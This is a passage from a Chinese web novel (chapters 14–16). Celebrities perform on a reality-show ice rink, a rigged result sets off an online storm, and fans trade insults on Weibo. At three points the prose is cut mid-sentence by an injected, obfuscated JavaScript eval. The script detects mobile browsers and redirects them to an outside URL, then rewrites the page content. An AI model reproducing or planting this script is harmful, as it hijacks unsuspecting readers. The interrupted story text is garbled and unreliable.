【谁再蛐蛐我们花滑吉祥物,我抡蝴蝶结打你!】 …… 看着翻滚而过的弹幕,小O也不由轻笑了一声,但很快镇定地继续主持道:“第一个出场表演的就是陈渺,她带来的曲目是《睡美人》,出自著名作曲家柴科夫斯基,同名的芭蕾舞剧在马林斯基剧院首次公演,让我们期待一下睡美人在冰上芭蕾的表现吧!” 聚光灯在冰面投下淡金色的圆,陈渺此时已经垂手立在圆心。 音乐从竖琴的涟漪中漫开,足尖轻点,冰刀在冰面上发出轻微的摩擦声,身后拖曳出两道长长的弧线。 她舒展的姿态像极了奥罗拉公主在森林中穿梭,明黄色的花滑裙上缀着的碎钻迎光闪耀,像沉睡森林里未落的星子。 【bulingbuling的,裙子好美啊~】 【好像公主啊,和冰雕城堡太适配了,简直就是为她量身打造的!】 【女鹅!妈妈爱你!】 …… 而此时,陈渺的内心是—— “妈呀妈呀,要撞上了,撞……要撞上了!”眼前正是爸爸不远万里从北方拆解空运回来的城堡冰雕,此时仅剩半米远。 陈渺急中生智做了个双足转,裙角擦过冰雕,然后颤颤巍巍地向另一个方向滑去,离冰雕渐行渐远…… 演播室里,小H刚捏了一把汗,长舒了一口气才说:“自……自创步法!发挥非常稳定,很有想法,燕式滑行接双足转!” 陈渺踉踉跄跄,如果说刚刚还是高贵公主,此刻就是一只笨拙的企鹅,节奏全乱了,她颤颤巍巍地赶上音乐,匆忙完成了一个并不完美的华尔兹跳。 【竟然跳成功了?没想到。】 【女鹅真棒!】 【差生考了六十分既视感。】 音乐进行到变奏,冰刀在轴心偏移时发出刺耳的刮擦,下一个动作是编舞老师排好的后外点冰跳。 陈渺的膝盖微微发颤,她深吸了一口气,猛地一个下蹲起势,僵直着身体一跃而起,落地时重心明显偏离,在冰面做了一个非常难看的青蛙蹲才稳住身体。 随后,她像个刚学会走路的婴儿跌跌撞撞地完成基础滑行,谢幕时还差点撞翻防护栏,最后强装镇定地望向镜头,维持着EndingPose直至音乐彻底结束。 几秒后,现场响起了稀稀拉拉的掌声,她才终于收回手,尴尬地吐了吐舌头。 真好,又活了一天。 【早期人类驯服四肢过程实录……】 【好可爱,想把渺渺装在口袋里带回家!】 【渺渺是花滑吉祥物,诚不欺我!】 …… 演播室内,小H作为陈渺的助教鼓励发言:“虽然编排动作都比较简单,但陈渺这次的完成度很高,前期我们编排的所有动作她都做到了。而且她作为零基础选手,能在两个月内做到这些,已经很棒了。” 小O继续推流程:“下一位表演嘉宾,是大家非常期待的,荧屏女神——江舒然,这次表演是她息影归来的首秀,她带来的曲目是《GoodbyeMr.Lawrence》。” 后台正在切换音乐,演播室里却聊了起来。 小H兴奋起来:“舒然姐姐,我真的很喜欢她的戏,我妈也特别特别喜欢她!” 小P:“口水都要流下来了,是不是已经悄悄要好签名了?” 小H赶忙否认:“没有没有,准备节目结束后再去讨要,上节目不方便,我可是陈渺的助教!” 小O继续埋汰道:“你还记得自己是陈渺的助教啊?我看你是没命下节目了。” 陈渺是香蕉视频总裁的女儿,香蕉视频又是这个节目的最大赞助商,他们几个助教自然是知晓的。 小H大惊失色:“啊?那怎么办?” 得罪了娱乐圈巨佬,应该不关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203456|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们体育圈事儿吧? 一直沉默不语的小E淡淡道:“发卖。” …… 此时的弹幕也乐开了花—— 【发卖,哈哈哈】 【哈哈哈,发卖哥好好笑。】 【发卖哥的声音也好好听~】 …… 冰场穹顶的穹窿灯猛然亮起。 江舒然将下颌抵在冰刀护套上,黑色花滑裙像一尾垂死的蝶,肩头两片薄纱随着呼吸起伏,折射出冰面细碎的光。 《GoodbyeMr.Lawrence》的钢琴声像融化的雪水漫进场馆,江舒然松开护套,足尖在冰面划出半弧,抬手时腕间红绳与冰晶相撞,发出极轻的碎裂声,像从远古传来的悠远铃铛。 【天啊!江舒然真的太美了!】 【哇~谁懂“江舒然”这三个字的含金量!这身段前凸后翘,眼泪从我的嘴角流下来……】 【前面的你别太离谱!】 【女神!永远的女神!prprpr/舔屏幕到手机进水】 …… 音乐进入暴烈的弦乐部。 江舒然忽然翻身跃起,燕式回旋带起冰雾,脚下溅起的冰花如同星屑,紧跟着,她猛地蹬冰提速,交叉摇滚步掀起雪浪,几个莫霍克步宛若跌进深秋的枯叶。 小O:“动作非常流畅,真让人惊喜!” 小P:“太美了!E哥,你带出来的优等生,你快说两句!” 小E望着场内滑动的那抹身影,沉声道:“这首曲子很适合她。” 原本,节目组还给了几首更昂扬雀跃的音乐,可江舒然都拒绝了,偏偏选了这首。这首曲子情绪很低,甚至有些悲伤,但于她而言似乎有着不同寻常的意义。 小E并没有阻挠。两周来,江舒然每天跟着这首曲子都练到很晚,每一个音符动作早已烂熟于心。 “这套动作我们练了很多遍,不会有任何问题……”小E的话还在嘴边,可在看到冰场上江舒然的刹那,突然止住了话,眉头陡然一蹙。 冰场内,江舒然突然张开了双臂,排练时根本没有这个动作。 风吹过她的脸颊,抚动她的发丝,像温柔的亲吻落在她的心头,有什么东西如细小的电流顺着她的血管在游走。 风是真实的,心跳是真实的,脚下的冰也是真实的。 三年来,从未有一刻像现在这般让她放松。 她的目光凝视着远方,仿佛透过那茫茫的冰雾看着另一个只属于她的世界。 久违了。 大提琴独奏响起,江舒然在冰场中央仰起头,2LO起跳的瞬间,场馆顶部的射灯在她瞳孔里炸成万花筒。 一周,两周……黑色裙摆绽成一朵妖冶的黑罂粟。 “哇——”观众不由自主地发出了一声惊呼,有几个甚至不受控制地站了起来。 旋转轴心偏移的刹那,观众席传来了压抑的抽气声——偏了! 落冰的瞬间重力几近将她撕裂,但这次她没用手撑地,任由右膝重重撞上冰面,像一片坠入熔炉的雪花。 【她想跳2LO?怎么可能学两个月跳2LO,太冲动了!】 【摔倒也好美啊,嗷嗷嗷,我的眼睛无法从她身上移开!】 【这个动作很难的!舒然姐姐摔疼了吧!我来呼呼~】 江舒然支撑着冰面起身,她淡然地整好衣裙,昂起天鹅颈继续自己还未完成的曲目,旋转,跳跃,滑行…… 14. 我也觉得 回旋的步伐与冰刀划过的轨迹勾画出一条条优美的弧线,刚刚的意外并没有影响江舒然的发挥,她甚至更加放松了,仿佛整个世界都在她的脚下旋转。 小E的目光一直跟随着场内的江舒然。 他们原来在这处安排的是后外点冰跳,江舒然刚刚临时将动作改成了难度系数更高的2LO。 江舒然的舞步依然优雅,身体随着旋律弯曲与伸展,像游走于梦境与现实之间的精灵。 自由,对,是自由。 当背景音的最后一个音符落下,冰面仿佛在一瞬间凝固了。 江舒然定格站在那里,胸膛随着急促的呼吸起伏,冷艳而美丽。 现场响起了响亮的掌声。 【破碎美学巅峰!】 【大花就是大花,摔倒了再站起来还那么优雅!】 【在荧幕上的她真的好不一样!在发光!我快被迷死了!】 【姐姐,朝我的胸口开枪!】 …… 江舒然向观众席鞠躬致谢,随后缓缓滑到场边,陈渺已经迎了上来,不吝夸奖道:“舒然姐姐,你好美啊!” 江舒然朝她一笑,目光又落向了楚幺幺,一贯自信的脸上露出了些许懊恼的神色,“失误了。” 她们每天晚上滑冰场加练,现在俨然已是战友。 江舒然的2Lo练得不算娴熟,成功率只有30%,如果老老实实地做后外点冰跳,成功率则是百分百。 “可我觉得你超酷的。”楚幺幺说。 江舒然微微一怔,脸上随即露出了释然的笑,她点着头说:“我也觉得。” 从来没有人说过“江舒然酷”,他们总是说“江舒然好美”,“江舒然好优雅”……她从来不知道,是不是可以有另一个江舒然。 …… “没事儿,才哪儿到哪儿啊。”小O拍了拍小E的肩安慰,眼里却满是同情。表演的编曲和编舞,事先都是彩排确认过的,带的“娃”没按常理出牌,确实难顶。 “感谢江舒然老师给我带来这一段充满惊喜的表演,虽然2LO没有成功,但是美得惊心动魄。”小O念着手中的串词,“下一位嘉宾是池小冰,她带来的是经典曲目《梁祝》。” 【冰冰,妈妈爱你~~】 【池小冰的表演一定很好看!】 【那当然啦,上节目前她就已经会前压步了。】 【冰冰真的好优秀,长得漂亮,戏演得好,还这么努力!】 …… 池小冰一袭红衣,扬着下巴从她们三人面前经过,缓缓步入场内。 伴随着乐曲《梁祝》的前奏响起,冰刀划过冰面,池小冰茜色的裙摆随着动作飞扬,宛若蝴蝶迎风展翅。 她的第一跳稍许不稳,右脚在空中略微偏离了轨迹,但她巧妙地调整了姿势,稳稳落地。 紧接着的几个动作,跳跃、旋转、滑行,每一个细节都极尽完美,仿佛她的身体与冰面融为一体。 【小冰好厉害啊!不输职业花滑选手!】 【好美啊,真的像一只破茧而出的蝴蝶!】 【这首曲子,我记得是秦佳二十年前在冬奥会上跳的吧?】 【是啊是啊,当时万人空巷看那场比赛,秦佳拿下了中国第一枚女单花滑冠军,真的很争气!】 特写镜头聚焦到池小冰的眼眶,那隐隐泛着泪光的双眼,映射着镁光灯的光芒。 导播巧妙地切换,画面转至秦佳年轻时的比赛片段,画面中的她充满了力量与柔美,夺冠的时刻依旧历历在目。 镜头给到了台下的秦佳,她正望着大屏幕上投影的自己,眼尾微微发红。 热度瞬间飙升,直播间的热度迅速突破八百万,弹幕纷纷热烈讨论起来。 【小冰好棒!必须是冠军!】 【好怀念那时候的花滑队啊!现在真的一个能打的都没有!】 【新生代跟不上,迟早被淘汰!】 【已经被淘汰了,甩得我们看不到尾气~】 【没看到现在花滑队都来接这种综艺了吗?哪有出头日?】 【呜呜,小冰好用心,我仿佛看到了二十年前的秦佳……】 《梁祝》迎来了高潮。 池小冰一跃而起,在空中做了三个连续的华尔兹跳,几个接续步后,她像一只美丽的蝴蝶标本,被钉在冰面。 …… 场地里的观众吹起了欢呼的口哨,池小冰微笑着扯着裙摆冲着观众席鞠躬谢幕,掌声经久不息。 “非常完整的一段表演,旋转、跳跃和滑行都很扎实。”小O赞许道。 小P:“小冰为这次的比赛付出了很多,她是这几位嘉宾里基础最好的,平常又努力。” 在后台的陈渺明显不买账,“这个杀人未遂犯在拽什么?”她嘟着嘴,一脸不服。 “嘘。”江舒然比了个噤声手势,示意现在是直播。 “我才不怕她!” 楚幺幺无奈,说道:“给剪辑师省点事儿吧,剪辑的刀都没你的嘴快。” “嘿嘿~我爸请的剪辑师,年薪两百万呢!” 为了陈渺这张嘴,陈总可是下了血本,保证没有一句“危险发言”流露到市面上。 “你很骄傲?”楚幺幺反问。 “没有没有,我很乖的~”陈渺扭着身子撒了个娇。 …… 演播室里,报幕还在继续:“下面我们请出本场最后一位选手——楚幺幺,她表演的曲目是《Storm》。” 小P:“上一回听到《Storm》还是八年前。” “是啊,非常有难度的一首曲子。” 【——以上是分割线——】 【直播已结束,大家可以走了。】 【楚幺幺有什么好看的?】 【这节目有楚幺幺简直是败笔!】 【这个不会就是在程漾葬礼上吐了的那位吧?】 【是啊!就是她!】 【晦气死了,能不能跳过直接公布结果啊?】 …… 楚幺幺滑向冰场中央,以阿拉贝斯姿态悬浮在幽蓝光影里,头顶的射灯打在她身上,浅蓝色薄纱从腰间流淌而下,渐变色的裙摆像被月光劈开的寂静之海。 四周的辅助灯光渐暗,一瞬间,空气仿佛也跟着静止了,观众席上也陷入了沉寂,只有零碎的几个声音断断续续地飘来—— “装神弄鬼什么啊?” “废物也好意思表演?” “竟然还压轴出场,真是笑掉大牙!” 楚幺幺深吸了两口气,将周遭的声音全部屏蔽,冰雪的寒气穿过她的肺腑,像一股清流穿过她的全身。 当第一个音节从寂静之海里跳出,她脚下的冰刃也随之破开第一道光痕,一个流畅地后内规尺步后接续一串双足直立旋转,蓝纱裙摆漾开霜色涟漪。 背景音乐中的四分音符不急不缓,海面犹如襁褓中的婴儿,枕着蓝色丝绒的绵塌刚刚醒来。 楚幺幺衔接着滑行步绕场过半,耳侧的钢琴伴奏里渐渐混入了小提琴,就像多年前,哥哥拉给她听的那样…… “阿漾只要做自己想做的事情就好。” “那哥哥呢?” “哥哥会永远守护你,不让阿漾受到任何伤害。” …… 蓝白色的身影踩着音乐的脉搏,顶着一声声的波涛踢腿和小跳,在冰面划出流畅而不规则的弧线,她手上的姿势轻柔而婉转,就像鸟儿在空中张开翅膀…… 【这是楚幺幺吗?】 【……她是在跳芭蕾?】 【这小跳和擦地,真的好像芭蕾!】 【她什么时候瘦了这么多?(小声bb)】 【几个滑步就把你们惊成这样,没见过世面。】 【不是简单的滑步,她在bination!】 …… 音乐的补点逐渐强烈,让人仿佛置身暴雨如注的大海,密集的雨点席卷了整片海面,水花爆裂出无数的音符,在海面跳动着。 楚幺幺的足尖捻转搅动碎冰,右手臂上的伤苏醒成蛰伏的兽,她的滑行步仿佛在描摹海浪的形状,裙裾抖落的碎钻坠入追光。 她的手有些发颤,呼吸也逐渐急促…… 好冷。 妈妈撕心裂肺的哭泣声在冰冷的停尸间里回荡,哥哥躺在箱子里,那张英俊却毫无血色的脸刺痛了她的眼…… “把你哥害死,现在你满意了吗?!”爸爸怒吼着,一个耳光结结实实打在她的脸上,她的脸颊火辣辣地疼。 阿宴抱紧了她,用身体挡在她面前,她的喉咙发不出一个字,只有泪水不断涌出,打湿了阿宴的衣衫…… 突然,她一个急速转身,右脚用力蹬冰起跳,冰刃吃进冰面的刹那,弯折的膝盖像压缩到极致的弹簧骤然释放,在空中翻转三周后,她轻巧地回到冰面,冰刀触地的瞬间,现场爆发出齐刷刷的一声:“哇——” 【我去!她在干什么?!】 【怎……怎么可能?】 【卧槽!后内结环三周跳!】 【真的是后内结环三周跳!】 …… 演播室里小O的声音频频传来—— “漂亮的燕式滑行!” “后内结环两周跳也很完美!” “音乐和肢体动作的衔接做了Layback,非常高级的处理。” ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203457|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【什么后内结环三周跳?很难吗?】 【真的很难!!!我学了大半年!】 【瞎猫碰上死耗子吧?】 …… 小O看着冰上滑行的楚幺幺,目光一秒都不敢移开,到目前为止,她都做得很好,按照计划,只要顺利完成最后一个勾手跳,就可以完美结束这场表演。 音乐里几颗单薄的钢琴音一颗一颗掉落出来,刀齿步配合着芭蕾舞的步伐,划过寂静的冰面。 突然,冰面上那抹蓝白色的身影改变了节奏,她转身像一匹脱缰的烈马,滑冲了几步骤然跃起。 向前起跳? 她想做Axel?! 小O瞳孔一震,双手按着案台准备站起来,却被一旁的小E用手按着肩膀,压回了座位。 基操,淡定。 …… “哥哥的梦想不是当医生吗?” “不是的。哥哥的梦想是希望阿漾和爸爸妈妈永远幸福。” “哥,你这样不好,人要自私一点才会幸福。” “那就让阿漾做那个自私的人吧,要带着哥哥的梦想,一起努力。” …… “哇——”看台上的人惊得捂住嘴,目光追随着那抹蓝色的倩影,险些忘了合上下巴。 楚幺幺雪白的后颈在空中拉出一个优越的弧度,她的身体在半空高速旋转,双腿紧紧收拢,动作如同流星划过天际,每一次旋转都带动空气激烈震动。 一圈……两圈……三圈半…… 落地的瞬间,周围的空气都凝固了,观众席鸦雀无声。 楚幺幺挥动着手臂像鸟翱翔在天空,她是新生的海燕,会迎着风划破这片苍穹,飞到无人能及的地方…… 【我是不是眼花了?】 【刚刚那是3A吗?】 【怎么可能?!】 …… 演播室里难以置信的声音肯定了弹幕的猜测—— 小O近乎嘶吼,敲着桌子站起来:“3A?她跳了一个3A!” 滞空轨迹不算完美,但那就是3A! “她什么时候学的?!” 几个助教惊讶地互相看看,目光落到小O身上,后者扶着桌子,久久无法回神,“我……我不知道。” 身为助教,他竟然不知道。他记得她随口提过一次,可他告诉她以她的年龄条件,能跳1A就已经是天赋异禀了,她竟然偷偷学了3A? 怎么可能?从来没有18岁可以学到3A的先例! 小O不可置信地睁大了双眼,保持着这样震惊的表情好几秒,蓦地,竟不自觉地“嗤笑”了一声。 没有先例,楚幺幺就是先例! 音乐的旋律逐渐清透,好像雨过天晴之后,拨云见日般澄明。 看台上,所有的观众都站了起来,原本来看笑话的人此刻都呆若木鸡。 楚幺幺跳着霍克步回到冰场中央,音乐的节奏逐渐清明,她侧身提刃开始旋转,一开始是缓慢的旋转,然后突然加了一个旁腿转的力,冰刀在冰面磨出细密的冰屑。 她越转越快,仿佛被一股无形的力量不断推动,飞旋在冰场的中心。 裙上的水晶折射着光芒,她就像一颗星辰在暗夜无尽闪烁。 …… 人群里,有人轻声低喃了一句:“程漾。” 对,是程漾。 【程漾!是程漾的招牌动作旁腿单脚直立转!】 【她在跳芭蕾!是程漾最爱的芭蕾!】 【天啊!我快哭了……真的……好像程漾……】 【你们别说了,我好想阿漾,呜呜……】 弹幕上飘过一片蜡烛,哀悼那位陨落的启明星…… 当最后一个音符落地时,楚幺幺用冰刃陡然刹住了旋转,她的双手错落举过头顶,以定格姿势矗立在冰场中央,像一尊神女雕像。 音乐已然抽离,全场仿佛被冻结了一般,安静得能听到针线落地的声音。 静谧的气氛持续了十几秒,人群里不知是谁带了头——“程漾……” 紧接着,零零散散的几个声音,逐渐带领着看台上的的观众形成了合围之势。 “程漾!……程漾!……程漾!” 场地里,跟随着鼓掌的节奏,回荡着那个并未出现在这个节目的名字,就像远古的梵音砸在大地上。 楚幺幺抬起头,头顶的射灯照在她脸上,鼻尖沁出细细的汗,观众席上,黑压压的人群此刻全都站了起来,呼喊着她曾经的名字。 耳边是如海浪般汹涌的尖叫和呐喊声,目之所及之处是万千闪耀的灯光,和之前每一场演唱会落幕时一样,让她无比的兴奋。 我,回来了。 15. 内娱完了 此时,在看台上靠近出口的位置,一身黑色西装的裴宴林正长足而立,犹如雕刻般完美的身形在灯光下显得更加冷峻。 他的目光不经意地划过周围的嘈杂与热烈,牢牢锁定在冰面上的那道身影上,终于,在看到楚幺幺手臂上沁出的血时,收回了敌视的目光,一言未发地转身离去。 蓝白色的底衬上,鲜红的血液犹如一朵怒放的彼岸花。 楚幺幺双腿交叉,朝着左右观众各做了一个鞠躬谢幕。 等她回到等候区,陈渺已经压抑不住激动之情,冲上来一把抱住了她,“楚幺幺!你太厉害了!” 下一秒,她瞥见了楚幺幺右臂上的伤,“又流血!我去找赵医生。” 话音刚落,一位穿着白大褂的医生就提着医药箱进来了,他望着楚幺幺问:“您是楚小姐吧,我来给您处理伤口。” “麻烦了。” 楚幺幺坐下来,将手臂伸过去,血液渗出了一大块,医生用剪刀剪开她的袖子,露出被绷带缠绕的手臂。 陈渺微微俯下身,看到伤口时皱紧了眉。 该死的池小冰! 医生熟练地清洁伤口,清凉的消毒水在血迹与肌肤间摩擦,带来一阵刺痛的凉意,不一会儿,新的纱布开始一层一层缠上手臂。 陈渺:“这次节目组的医生来得还挺快。” 医生收拾好医药箱,转身递给楚幺幺一张名片,“楚小姐,我是寰宇集团后勤保障部的。” “寰宇?”名片上赫然印着寰宇集团的Logo。 “是的,后续有任何需要可以联系我。”医生朝她点头示意,然后提着药箱走了。 陈渺恍然大悟,两手一拍,道:“差点忘了,寰宇集团产业那么大,我们这片冰场也是租的他们家的!” 一旁,一直没有开口的江舒然说话了,“恭喜。” 这几个月,她和楚幺幺每天晚上在冰场加训,可楚幺幺的进步速度实在太快了,尤其是后一个月,仿佛换了一个人。 “谢谢。” 这时,陈渺突然捏住了楚幺幺的肩,一副伯乐选中了千里马的模样,兴奋地问她:“幺幺,你刚刚真的太美了!像从书里走下来的一样!我以后要投资拍花滑题材的电视剧,你一定要来当我的女主角!” 她说着露出了一个可怜巴巴的表情,似乎这样就能让她这没头没尾的话,显得更真实些。 楚幺幺被夸得一头雾水,只好宠溺地笑,还没来得及回话,场地外头背景报幕的声音已经传来—— “下面由北山市花滑协会陈主席宣布本次表演赛的冠军!” 三人不约而同都看向了大屏幕,镜头给到一个白发老头,颤颤巍巍地站起来,手里握着一张纸。 “那肯定是幺幺呀!”陈渺搂着楚幺幺的肩,眼睛盯住了大屏幕。 陈主席清了清嗓子,念道:“在这片冰雪的舞台上,今天,她不仅仅是一位运动员,更是一位艺术家。她的每一个动作、每一次滑行,都如同绘画大师手中的笔触,勾画出一幅幅动人心弦的画面。今天,站在这里,我们见证了一个不懈追求完美的灵魂,超越了自我,超越了对手,超越了每一寸冰雪。今天,她是冠军,是花滑的女王。她的名字将永远镌刻在这项运动的历史之中,成为无数后辈的榜样和动力源泉,她就是——池小冰!” 池小冰从另一侧的等候区滑上冰面,朝观众鞠了一个躬,她接过陈主席手上的奖杯,说道:“谢谢大家的肯定,我会继续努力,不辜负大家的期待。另外,也请大家多多支持我的新作品——《白色恋人》,一定来看哦~” 而此时的弹幕—— 【虽然我不喜欢楚幺幺,但她的完成度和动作难度明显比池小冰高!】 【节目组是不是把人当傻子啊?】 【早说了都是剧本,再看这些节目我就是傻子!呸!】 【早就内定好了?那还搞什么直播?】 【内娱完了!!!】 现场的观众席上爆发出一阵骚乱,有人在吼。 “黑幕!” “什么花滑主席,他懂不懂花滑?” “尊重观众!尊重现场!尊重艺术!” “老娘花钱来看不是受这窝囊气的!” …… 骚动愈演愈烈,随着第一个空水瓶被丢入场内,无数的空瓶子、玩偶,甚至用过的纸巾都被扔进了冰场。 后台的导播赶紧切断了网络画面,节目组瞬间乱作一锅粥,手忙脚乱的工作人员指挥着嘉宾匆忙退场。 混乱之间,楚幺幺被人连拉带拽着拖出了冰场,塞进了后门的那辆保姆车内,车门被带上的瞬间,她和司机面面相觑。 上节目两个月了,她第一次有待遇坐节目组的保姆车,车身上还有番茄娱乐的标志。 “楚……楚小姐,您去哪儿?” 楚幺幺报了住址,转身望着车窗外混乱的人群。 番茄娱乐的老板要是知道,力捧新人池小冰的这档综艺,被她这么明晃晃地搅黄了,真不知道要作何感想。 舆论发酵如洪水决堤,不过一小时,《偶像冬奥会》花滑黑幕的话题就被顶上了热搜。 陈渺的微信消息紧随其后:幺幺,看朕为你打下的江山! 配图是陈渺和微博幺黑嘴炮的画面—— [@花滑圈纪检委]:楚幺幺废物一个还怪黑幕?轴心飘成那样了,裁判没给负分已经是菩萨显灵! [@陈渺喵喵大步向前]:连夜把裁判席改眼科医院吧!旋转轴心比你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204888|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人生规划还稳。建议黑子亲自滑,毕竟您脑袋里的水冻成冰正好凑个自创动作! [@池小冰的滑冰鞋]:笑死,楚幺幺自由滑音乐是《Storm》吧?改名叫《风暴の扑街》更贴切,BGM连点都没卡上!动作跟进过ICU一样,解说还挽尊说什么是LayBack,真是笑掉大牙! [@陈渺喵喵大步向前]:刚从ICU捞到你正主了!她看完楚姐旋转步伐羞愧到吞灯管! [@花滑评委席保洁员]:偷偷说句实话,楚幺幺张开手臂摆动就跟猫挠墙一样。 [@陈渺喵喵大步向前]:保洁阿姨擦干净评委席眼镜吧!您把「燕式巡场」看成猫挠墙,这边建议您转行做《动物世界》解说呢。 …… 楚幺幺:你别参与了,也别惹事。 陈渺:那怎么行?!欺负我姐妹,那不是在我头上拉屎? 楚幺幺:那你能不能切个小号? 陈渺:哦,啊?!!!我忘了! …… 楚幺幺扶额欲哭无泪,这位大小姐真是会给她老爹找麻烦。 微博上的黑粉对战还在继续,楚幺幺的粉丝量激增,一晚上已经突破100万,连带着桔梗少女的官微也“噌噌噌“地涨粉。 [@无关的路人甲]:纯路人,凭良心说这就是黑幕。 [@娱乐圈头等号]:没人觉得楚幺幺最后的动作很像程漾吗? [@漾漾的发带]:真的好像……而且她也是惯用左脚…… [@复仇小草莓]:明眼人都看得出楚幺幺难度系数更高啊,节目组搞什么飞机?! [@池小冰的墙头草]:注意注意!!楚幺幺请了好多水军,大家不要被骗了! [@互联网包青天]:笑死人啦,她这个草包脑袋空空腰包空空,哪来的钱和脑子买水军? [@猴子请来的逗比]:就是,桔梗少女都糊成那样了! …… 番茄娱乐公关了一晚上,热搜都撤不下来,第二天,节目组官博紧急避险发了条微博—— @偶像冬奥会:节目组所有评分环节均符合规定要求,由于嘉宾非职业选手,动作分评分标准只设计到勾手跳,评委会评分完全符合标准。当然,我们不否认幺幺的努力,对因节目组考虑不周给嘉宾和观众带来的观感不佳表示郑重道歉,同时,更正夺冠信息,本次《偶像冬奥会花滑篇》冠军为双黄蛋:池小冰、楚幺幺!恭喜你们!@池小冰@桔梗少女-楚幺幺 而此时的楚幺幺刚刚醒来,这条消息刚弹出就被她划走了,比起这个双黄蛋,她更想看看经过昨天一战,自己涨了多少粉丝,哪怕是黑粉也好。 可她的视线很快就被另一条推送消息吸引了——【#江舒然离婚#】 16. 姐姐独美 微博热搜前排,此时已经挂上了十来个和江舒然的话题,不愧是偶像剧女王的含金量,退圈三年,流量还是这么能打。 起因是有粉丝拍到了江舒然和赵帆在民政局办离婚手续,照片里江舒然虽然戴着墨镜,但仪态身姿无不散发着她特有的清冷气场,一看就是她。 #姐姐独美# #终于离了# #现在是钮钴禄·江舒然# #渣男滚粗# …… “江舒然是来救番茄娱乐的命的吧!” “番茄娱乐快给江舒然磕两个。” “这两天是娱乐圈大地震吗?” “卧槽,那边的瓜我还没吃完了,这边的天又亮了!” 此时,江舒然的超话宛如过年,她的粉丝早就看赵帆这个软饭男不爽了,现在正抽奖欢庆这一刻。 “啊啊啊啊啊!~~~姐姐终于清醒了!!!” “有生之年能看到姐姐离婚,啊啊啊!” “谁tm敢说我姐一句不是,老娘拿炮轰死他!” “抽奖送香奈儿口红一支,祝各位姐妹的人生红红火火!” “抽奖送奶茶十分糖一杯,祝姐妹们的人生甜甜蜜蜜!” “抽奖送拍立得一个,祝福姐妹拍走烦恼!” “我也来!当初因为舒然才开始学钢琴,现在要买新的了,这台不要了,音准调完出。送钢琴,祝姐妹们永远有勇气对刚这操蛋的人生!” “抽奖送鞭炮100响,有人要吗?没人要我就自己点了,祝各位姐妹事业亨通,送走软饭男!” …… 三年未发一条微博的江舒然,今天也发博了,无关离婚,只有简简单单的一句话—— @江舒然:支持幺幺,鼓舞人心的姑娘,未来一定光芒万丈!@桔梗少女-楚幺幺 下方甚至还点赞节目组黑幕的爆料微博。 “女神刚复出就这么刚?” “收回刚刚说的话,她不是来救番茄娱乐的,是来踹一脚的,哈哈哈。” “哈哈哈,番茄娱乐牢底坐穿,江舒然过来加把锁。” …… 没想到竟然这么快,江舒然比她以为的更决绝。 楚幺幺看着那条微博突然笑了,她不知道江舒然今后会面临什么,但她知道只要勇敢迈出这一步,今后的路上就没有胆怯,就像现在的她一样。 她点赞了江舒然的微博,在下方留言道:谢谢舒然姐姐,未来可期,勇往直前!@江舒然 正主出现,楚幺幺那寥寥无几的原始股东粉,弱弱在下方评论: [@一支小桔梗]:幺幺又上热搜了,从两年前开始关注她,她只是个吃货小笨蛋,真的没有坏心眼,孩子粗心请大家多包涵。(/弱弱路过.jpg) [@两支小桔梗]:大家别骂幺幺了,你们要是再骂,我就给你们磕头!嘤嘤~ [@三支小桔梗]:这是桔梗少女出道以来第一个综艺,我们真的很珍惜,别骂了别骂了,好不好嘛…… [我是路人甲]:笑死了,随正主,超绝窝囊粉! [@江舒然的小粉丝]:杀伤力太弱了妹妹,退到我身后! [@江舒然的大粉头]:姐姐喜欢的人,就是我喜欢的人!谁敢欺负小桔梗,向他开炮!!!! …… 热搜事件的下一周,番茄娱乐就找到了寰宇娱乐洽谈,楚幺幺坐在会议室里,边上坐着Amy姐,对面这次派来了业务拓展部的主任徐淼。 Amy姐是寰宇娱乐的首席运营,地位仅次于董事会和执行总裁。虽然寰宇娱乐只是寰宇集团的一个分支产业,但每年寰宇周年庆都有她的身影,按理说,像楚幺幺这种规格的艺人,除了刚进来能有幸见一面,后面几乎无缘再见。 而现在短短两个月,她们又坐在了一个会议室里。 楚幺幺看着自己手机账户上五万的综艺酬金,嘴角不自觉上扬,少是少了点,但好歹也算是谋到第一桶金了。 徐淼是番茄娱乐的老员工,在业内颇有名气,他比Amy还年长几岁,开口即是人情世故,“Amy姐,这次花滑综艺反响意外的好!幺幺真是功不可没啊!我们准备趁着热度未降追加一个表演赛,幺幺作为新人,这种露脸的机会很难得的。” 闻言,楚幺幺抬起了头,还没等Amy姐说话,她已经脱口而出,“徐主任,原合同里没有写这个表演赛,这是另外的价钱。” “当然当然!”听徐淼赶忙附和,听意思这事情还有的谈,“这次的表演赛,通告费是这个数。” 徐淼比了个“1”的手势。 “一万?”桔梗少女的价值定位并不高,她在综艺苦干两个月也就收了五万块。 